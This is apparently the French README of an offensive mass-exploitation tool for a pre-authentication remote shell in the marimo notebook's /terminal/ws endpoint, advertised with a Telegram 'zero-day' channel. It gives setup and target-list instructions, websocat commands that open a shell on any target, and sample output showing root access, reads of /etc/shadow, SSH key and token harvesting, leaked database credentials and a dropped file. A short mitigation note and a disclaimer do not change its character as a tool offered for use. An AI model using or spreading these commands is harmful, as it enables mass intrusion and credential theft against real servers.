
marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité d'exécution de code à distance (RCE) avant authentification.
marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité RCE Pre-Auth.
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — RCE Pre-Auth via WebSocket non authentifié
Auteur : Nxploited · Telegram : @KNxploited
📢 Rejoignez le canal Telegram pour les derniers zero-days & exploits gratuits :
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance avant authentification (Pre-Authentication Remote Code Execution) affectant Marimo, une plateforme open-source de notebooks Python réactifs.
Le point de terminaison WebSocket /terminal/ws ne comporte aucune validation d'authentification, ce qui permet à tout attaquant distant non authentifié d'obtenir un shell PTY complet et d'exécuter des commandes système arbitraires avec les privilèges du processus en cours — souvent root dans les déploiements conteneurisés.
Contrairement à d'autres points de terminaison WebSocket comme /ws, qui invoquent correctement validate_auth() avant d'accepter les connexions, le point de terminaison /terminal/ws ne vérifie que le mode d'exécution et la compatibilité de la plateforme, en sautant entièrement l'authentification.
✅ Corrigé dans :
marimo >= 0.23.0❌ Toutes les versions antérieures à0.23.0sont vulnérables
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
Le gestionnaire /terminal/ws vérifie uniquement :
Il ne valide jamais les jetons de session, les cookies ou toute forme d'identité — ce qui fait de chaque instance Marimo exposée un shell direct.
.py.env · wp-config.php · clés privées SSH · /etc/shadowPython 3.10 or higher
Installer les dépendances :
pip install websockets rich requests urllib3
Ou en utilisant le fichier requirements :
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Créez un fichier nommé targets.txt avec une cible par ligne.
L'outil accepte tous les formats :
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Formats pris en charge : IP seule · IP:port · domaine · domaine:port ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Plage de threads : 1–300. Recommandé : 50–150 selon votre réseau.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
Une fois une cible vulnérable identifiée, connectez-vous manuellement à l'aide de websocat :
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
La valeur de l'en-tête
Authorizationest sans importance — le point de terminaison accepte n'importe quel jeton, ou aucun.
Si vous exécutez Marimo dans un environnement de production ou exposé :
marimo >= 0.23.0127.0.0.1 — ne l'exposez jamais directement sur Internet/terminal/wsCet outil est fourni strictement à des fins éducatives, de tests d'intrusion autorisés et de recherche légitime en sécurité.
Vous devez obtenir l'autorisation écrite explicite du propriétaire du système avant d'exécuter cet outil contre une cible quelconque. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale et peut entraîner des poursuites civiles et/ou pénales en vertu des lois applicables en matière de cybercriminalité, y compris, sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act, les directives européennes sur la cybercriminalité et la législation équivalente de votre juridiction.
L'auteur décline toute responsabilité en cas de dommages, de perte de données ou de conséquences juridiques découlant d'une mauvaise utilisation de cet outil.
Utilisez-le de manière responsable. Hackez éthiquement.
| Propriété | Valeur |
|---|
| Identifiant CVE | CVE-2026-39987 |
| Logiciel affecté | marimo < 0.23.0 |
| Classe de vulnérabilité | RCE Pre-Auth via WebSocket non authentifié |
| Point de terminaison affecté | /terminal/ws |
| Vecteur d'attaque | Réseau |
| Authentification requise | ❌ Aucune |
| Interaction utilisateur | ❌ Aucune |
| Sévérité | 🔴 Critique |
| Impact | Shell PTY complet · Exécution de commandes arbitraires |
| Version corrigée | marimo 0.23.0 |
| Icône | Niveau | Description |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — Accès root complet |
✦✦ 🟡 | PRIV | Membre de sudo · wheel · docker · disk · adm |
✦ 🔵 | SHELL | Accès shell sans privilèges |
✗ 🔴 | FAIL | Connexion refusée · délai dépassé · erreur HTTP |
| Environnement | Détection automatique | Collecte spécialisée |
|---|
| 🟣 Marimo | ✅ | Notebooks · jetons · DuckDB · .marimo.toml · montages |
| 🔵 cPanel / WHM | ✅ | userdomains · mot de passe MySQL · liste des utilisateurs WHM |
| 🟠 Plesk | ✅ | psa.shadow · vhosts · identifiants admin MySQL |
| 🌐 Apache | ✅ | VirtualHosts · sites-enabled · journaux d'accès/erreurs |
| 🟢 Nginx | ✅ | Blocs serveur · conf.d · journaux d'accès/erreurs |
| 🐍 Application Python | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · répertoire public |
| 🐳 Docker | ✅ | Montages liés (bind mounts) · détection du stockage local du conteneur |
| ⚙️ Générique | ✅ | Suite d'énumération complète sur environnements inconnus |
| Pseudo | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| Canal | Nxploited ZeroDay Hub |
"Plus vous devenez silencieux, plus vous êtes capable d'entendre."
⭐ Si cet outil vous a été utile, laissez une étoile et rejoignez le canal pour plus de zero-days ! ⭐